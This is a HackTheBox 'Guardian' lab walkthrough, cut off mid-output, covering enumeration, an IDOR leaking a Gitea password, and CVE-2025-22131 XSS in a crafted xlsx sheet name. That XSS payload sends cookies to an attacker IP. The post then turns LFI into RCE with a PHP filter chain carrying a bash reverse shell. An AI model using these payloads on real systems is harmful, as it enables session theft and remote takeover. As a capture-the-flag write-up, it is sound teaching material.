Guardian HTB
A detailed walkthrough of the Guardian machine on HackTheBox
 challenges
challengesEnumeration
Nmap

After that we go next.
Added these to /etc/hosts file in my machine :
  10.10.11.84  guardian.htb
Web Enumeration
go to the web link http://guardian.htb

When hover to Student Portal, we got another subdomain. juicy!

Then we update the /etc/hosts
10.10.11.84  guardian.htb portal.guardian.htb
Then we access the portal link  http://portal.guardian.htb
Did some recon and got some emails:

so lets do some recon and here we are finding any subdomains so we use dirsearch.
┌──(venv)─(havoc㉿havoc)-[~/Downloads/htb/guardian]
└─$ dirsearch -u http://portal.guardian.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/havoc/Downloads/htb/guardian/reports/http_portal.guardian.htb/__25-10-28_13-34-09.txt
Target: http://portal.guardian.htb/
[13:34:09] Starting: 
[13:34:25] 403 -  284B  - /.env
[13:34:28] 403 -  284B  - /.git
[13:34:28] 403 -  284B  - /.git-credentials
[13:34:28] 403 -  284B  - /.git.json
[13:34:28] 403 -  284B  - /.git-rewrite/
[13:34:28] 403 -  284B  - /.git/
[13:34:28] 403 -  284B  - /.git/branches/
[13:34:28] 403 -  284B  - /.git/COMMIT_EDITMSG
[13:34:28] 403 -  284B  - /.git/config
[13:34:28] 403 -  284B  - /.git/description
[13:34:28] 403 -  284B  - /.git/HEAD
[13:34:28] 403 -  284B  - /.git/head
[13:34:28] 403 -  284B  - /.git/hooks/
[13:34:28] 403 -  284B  - /.git/hooks/applypatch-msg
[13:34:28] 403 -  284B  - /.git/hooks/commit-msg
[13:34:28] 403 -  284B  - /.git/hooks/post-update
[13:34:28] 403 -  284B  - /.git/hooks/pre-applypatch
[13:34:28] 403 -  284B  - /.git/hooks/pre-push
[13:34:28] 403 -  284B  - /.git/hooks/pre-commit
[13:34:28] 403 -  284B  - /.git/hooks/pre-rebase
[13:34:28] 403 -  284B  - /.git/hooks/prepare-commit-msg
[13:34:28] 403 -  284B  - /.git/hooks/update
[13:34:28] 403 -  284B  - /.git/index
[13:34:28] 403 -  284B  - /.git/info/
[13:34:28] 403 -  284B  - /.git/hooks/pre-receive
[13:34:28] 403 -  284B  - /.git/info/attributes
[13:34:28] 403 -  284B  - /.git/info/exclude
[13:34:28] 403 -  284B  - /.git/info/refs
[13:34:28] 403 -  284B  - /.git/logs/HEAD
[13:34:28] 403 -  284B  - /.git/logs/
[13:34:28] 403 -  284B  - /.git/logs/refs
[13:34:28] 403 -  284B  - /.git/logs/head
[13:34:28] 403 -  284B  - /.git/logs/refs/heads
[13:34:28] 403 -  284B  - /.git/logs/refs/heads/master
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes/origin
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes/origin/HEAD
[13:34:28] 403 -  284B  - /.git/objects/
[13:34:28] 403 -  284B  - /.git/logs/refs/remotes/origin/master
[13:34:28] 403 -  284B  - /.git/FETCH_HEAD
[13:34:29] 403 -  284B  - /.git/objects/info/packs
[13:34:29] 403 -  284B  - /.git/packed-refs
[13:34:29] 403 -  284B  - /.git/refs/
[13:34:29] 403 -  284B  - /.git/refs/heads
[13:34:29] 403 -  284B  - /.git/refs/heads/master
[13:34:29] 403 -  284B  - /.git/refs/remotes
[13:34:29] 403 -  284B  - /.git/refs/remotes/origin
[13:34:29] 403 -  284B  - /.git/refs/tags
[13:34:29] 403 -  284B  - /.git/refs/remotes/origin/HEAD
[13:34:29] 403 -  284B  - /.git2/
[13:34:29] 403 -  284B  - /.git/refs/remotes/origin/master
[13:34:29] 403 -  284B  - /.git_release
[13:34:29] 403 -  284B  - /.gitattributes
[13:34:29] 403 -  284B  - /.gitchangelog.rc
[13:34:29] 403 -  284B  - /.gitconfig
[13:34:29] 403 -  284B  - /.github/
[13:34:29] 403 -  284B  - /.github/workflows/blank.yml
[13:34:29] 403 -  284B  - /.github/PULL_REQUEST_TEMPLATE.md
[13:34:29] 403 -  284B  - /.github/ISSUE_TEMPLATE.md
[13:34:29] 403 -  284B  - /.github/workflows/ci.yml
[13:34:29] 403 -  284B  - /.github/workflows/dependabot.yml
[13:34:29] 403 -  284B  - /.github/workflows/docker.yml
[13:34:29] 403 -  284B  - /.github/workflows/master.yml
[13:34:29] 403 -  284B  - /.github/workflows/maven.yml
[13:34:29] 403 -  284B  - /.github/workflows/nodejs.yml
[13:34:29] 403 -  284B  - /.github/workflows/publish.yml
[13:34:29] 403 -  284B  - /.gitignore
[13:34:29] 403 -  284B  - /.gitignore.orig
[13:34:29] 403 -  284B  - /.gitignore.swp
[13:34:29] 403 -  284B  - /.gitignore/
[13:34:29] 403 -  284B  - /.gitignore_global
[13:34:29] 403 -  284B  - /.gitignore~
[13:34:29] 403 -  284B  - /.gitk
[13:34:29] 403 -  284B  - /.gitkeep
[13:34:29] 403 -  284B  - /.gitlab
[13:34:29] 403 -  284B  - /.gitlab-ci.off.yml
[13:34:29] 403 -  284B  - /.gitlab/merge_request_templates
[13:34:29] 403 -  284B  - /.gitlab-ci.yml
[13:34:29] 403 -  284B  - /.gitlab/issue_templates
[13:34:29] 403 -  284B  - /.gitlab-ci/.env
[13:34:29] 403 -  284B  - /.gitlab/route-map.yml
[13:34:29] 403 -  284B  - /.gitmodules
[13:34:29] 403 -  284B  - /.gitreview
[13:34:30] 403 -  284B  - /.ht_wsr.txt
[13:34:31] 403 -  284B  - /.htaccess.bak1
[13:34:31] 403 -  284B  - /.htaccess.orig
[13:34:31] 403 -  284B  - /.htaccess.sample
[13:34:31] 403 -  284B  - /.htaccess.save
[13:34:31] 403 -  284B  - /.htaccess_extra
[13:34:31] 403 -  284B  - /.htaccess_orig
[13:34:31] 403 -  284B  - /.htaccess_sc
[13:34:31] 403 -  284B  - /.htaccessBAK
[13:34:31] 403 -  284B  - /.htaccessOLD
[13:34:31] 403 -  284B  - /.htaccessOLD2
[13:34:31] 403 -  284B  - /.htm
[13:34:31] 403 -  284B  - /.html
[13:34:31] 403 -  284B  - /.htpasswd_test
[13:34:31] 403 -  284B  - /.htpasswds
[13:34:31] 403 -  284B  - /.httr-oauth
[13:34:38] 403 -  284B  - /.php
**[13:35:10] 301 -  326B  - /admin  ->  http://portal.guardian.htb/admin/**
[13:36:10] 403 -  284B  - /cgi-bin/
[13:36:19] 403 -  284B  - /composer.lock
[13:36:19] 403 -  284B  - /composer.json
[13:36:19] 301 -  327B  - /config  ->  http://portal.guardian.htb/config/
[13:36:21] 403 -  284B  - /config/
[13:37:08] 403 -  284B  - /includes/
[13:37:08] 301 -  329B  - /includes  ->  http://portal.guardian.htb/includes/
[13:37:13] 301 -  331B  - /javascript  ->  http://portal.guardian.htb/javascript/
[13:37:21] 200 -    1KB - /login.php
[13:37:49] 403 -  284B  - /php5.fcgi
[13:38:26] 403 -  284B  - /server-status/
[13:38:26] 403 -  284B  - /server-status
[13:38:43] 301 -  327B  - /static  ->  http://portal.guardian.htb/static/
[13:39:05] 200 -    0B  - /vendor/autoload.php
[13:39:05] 403 -  284B  - /vendor/
[13:39:05] 200 -    0B  - /vendor/composer/autoload_classmap.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_psr4.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_real.php
[13:39:06] 200 -    0B  - /vendor/composer/autoload_static.php
[13:39:06] 200 -    1KB - /vendor/composer/LICENSE
[13:39:06] 200 -    0B  - /vendor/composer/ClassLoader.php
[13:39:06] 200 -   25KB - /vendor/composer/installed.json
Task Completed
Found out there is /admin endpoint but we can not access straight away but we got the /login.php so lets go baby!
So we got this.
The thing is we do not have password yet.
so lets find it;

in the login page we see a link to a pdf file where we can find the password.

we got the password as GU1234 so lets find the email from the emails we got earlier in the acknowledgement page. so lets go…….
We got one
Boone Basden
GU0142023@guardian.htb
and we are in:

Now we are in the student portal, there is more endpoints and functions that we can recon
For My Courses, we can click to View Assignments and View Grades.
There is nothing we can do at Grades part so let’s move on to Assignments part.
For the assignments belong to GU0142023
user, we can see there is two but it got overdue status so lets click view details to see if we can be able to view the assignments
We notice that there is a Statistics in Business assignment belong to Business Statistics course with Upcoming status. so lets check it out now together..

here we can upload a .docx or a .xlsx file and in the process we explore and see the chats page with two chat session from GU6262023 and mireielle.feek, there is also a New Chat button where we can select what user we want to chat with.so we select admin for the time being and start enjoying ourselves.laughs:)

 we can see from the url that we are id 13 and we are chatting with id 1 which is admin.
so lets manipulate the user numbers in burpsuite and change it to 0 and see if we can be able to see other user chats.
IDOR

Changing the id from 13 to 2 and we can see the chat session between jamil.enockson and admin and Found out the admin gave the password for gitea which was DHsNnk3V503
so lets update the  /etc/hosts file and add; gitea.guardian.htb.
 10.10.11.84   guardian.htb portal.guardian.htb gitea.guardian.htb
For the Notice Board and Profile section, there is nothing to consider as much but when we can leverage to high role, need to double check these part as they may got some function that only belong to specific role.But no so lets continue……
Let’s check out the gitea one.
Gitea
So after going to the gitea link we see the cool page like this;

so without thinking lets login, as we know that we got password for gitea from jamil.enockson chat session with admin, chance is that it can be the password for this user too.

and boom

Ooh i forgot to mention (smiles)this one is a private account and we notice that this user work with admin in two repos, we can see admin doing some git push and git branch for 3 months ago.
So after much consideration we did recon in here

We got the version of phpoffice/phpspreadsheet is 3.7.0 and phpoffice/phpword is ^1.3
→ Then we go to our bestie google and search for related vulnerabilites and take a look at this
phpoffice/phpspreadsheet vulnerabilities
and look for the vulnerable version and got this one SNYK-PHP-PHPOFFICEPHPSPREADSHEET-8651746 with CVE-2025-22131.
.
CVE-2025-22131
LETS EXPLOIT THIS THING.
Taking a look at security advisories Cross-Site Scripting (XSS) vulnerability in generateNavigation() function and reading through the summary we know that this was a zero day xss when translated  .xlsx file to .html response representation.
It only provide Poc to this cve, we gonna adapt this to our machine challenge.
First we need to create a xlsx file with multiple sheets and then gonna change 1 sheet name to "><img src=x onerror=alert(1)>.
then exploit this thing to get the admin cookie and then escalate this sh*t.
after using this payload "><img src=x onerror=fetch("http://10.10.14.70/?c="+document.cookie)> in order to grab the lecturer cookie to escalate them.
we just renamed the tittle in the .xlsx file in here i used this FSheet with online Excel sheet so we rename the sheet and export to use it.bydhaway we opt for the fastest way/route/trick.

so we start our python local server submit the assignment we exported and wait for response in our tunnel and we got our cookie as

so we will inject this new cookie via Dev Tools and refresh the page and boom

we are the lecturer whos name is sammy.treat . so we gonna try to trick the admin now to click to our doc or link whatsoever so lets go buddy.
As lectures or the current user we can create reports or new user so yeah juicy.
after going through the source code we can see csrf in the code and we need to bypass it and do lfi,ofcourse if admin is cool.
<?php
require '../includes/auth.php';
require '../config/db.php';
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
    header('Location: /login.php');
    exit();
}
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
    die("<h2>Malicious request blocked 🚫 </h2>");
}   
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
    die("<h2>Access denied. Invalid file 🚫</h2>");
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Reports Menu</title>
    <link href="../static/vendor/tailwindcss/tailwind.min.css" rel="stylesheet">
    <link href="../static/styles/icons.css" rel="stylesheet">
    <style>
        body {
            display: flex;
            height: 100vh;
            overflow: hidden;
            background-color: #f3f4f6;
        }
        .sidebar {
            flex-shrink: 0;
            background-color: #1e293b;
            color: white;
        }
        .main-content {
            flex: 1;
            overflow-y: auto;
        }
    </style>
</head>
<body class="bg-gray-100">
    <div class="sidebar"><?php include '../includes/admin/sidebar.php'; ?></div>
    <div class="main-content">
        <div class="flex-1 p-10">
            <h1 class="text-3xl font-bold mb-6 text-gray-800">Reports Menu</h1>
            <div class="grid grid-cols-1 md:grid-cols-2 gap-6">
                <a href="?report=reports/enrollment.php" class="bg-white p-6 rounded-lg shadow hover:shadow-md transition">
                    <h2 class="text-xl font-semibold text-blue-600">Enrollment Report</h2>
                    <p class="text-gray-600">View enrollment statistics and trends.</p>
                </a>.............
As from what we see, it got filter out and also got regex in case we can bypass the .., we still can not access the file.
What if we use , that and then add these enrollment|academic|financial|system end with .php
LFI to RCE
we gonna try the base64 that it will encode the data then we will copy and decode that out.
/admin/reports.php?report=php://filter/convert.base64-encode/resource=/etc/passwd/,system.php

The orginal path is gonna be like this : /var/www/html/config/db.php/. This one is after adding ,system.php at the end: /var/www/html/config/db.php/,system.php
We want to know the id so we will chain it with this payload <?php system("id");?>.
find the python script here php_filter_chain_generator .
and we got something like this
┌──(venv)─(havoc㉿havoc)-[~/Downloads/htb/guardian]
└─$ python3 php_filter_chain_generator.py --chain '<?php system("bash -c '\''bash -i >& /dev/tcp/10.10.14.70/4444 0>&1'\''");?>'
[+] The following gadget chain will generate the following code : <?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.70/4444 0>&1'");?> (base64 value: PD9waHAgc3lzdGVtKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjcwLzQ0NDQgMD4mMSciKTs/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|conve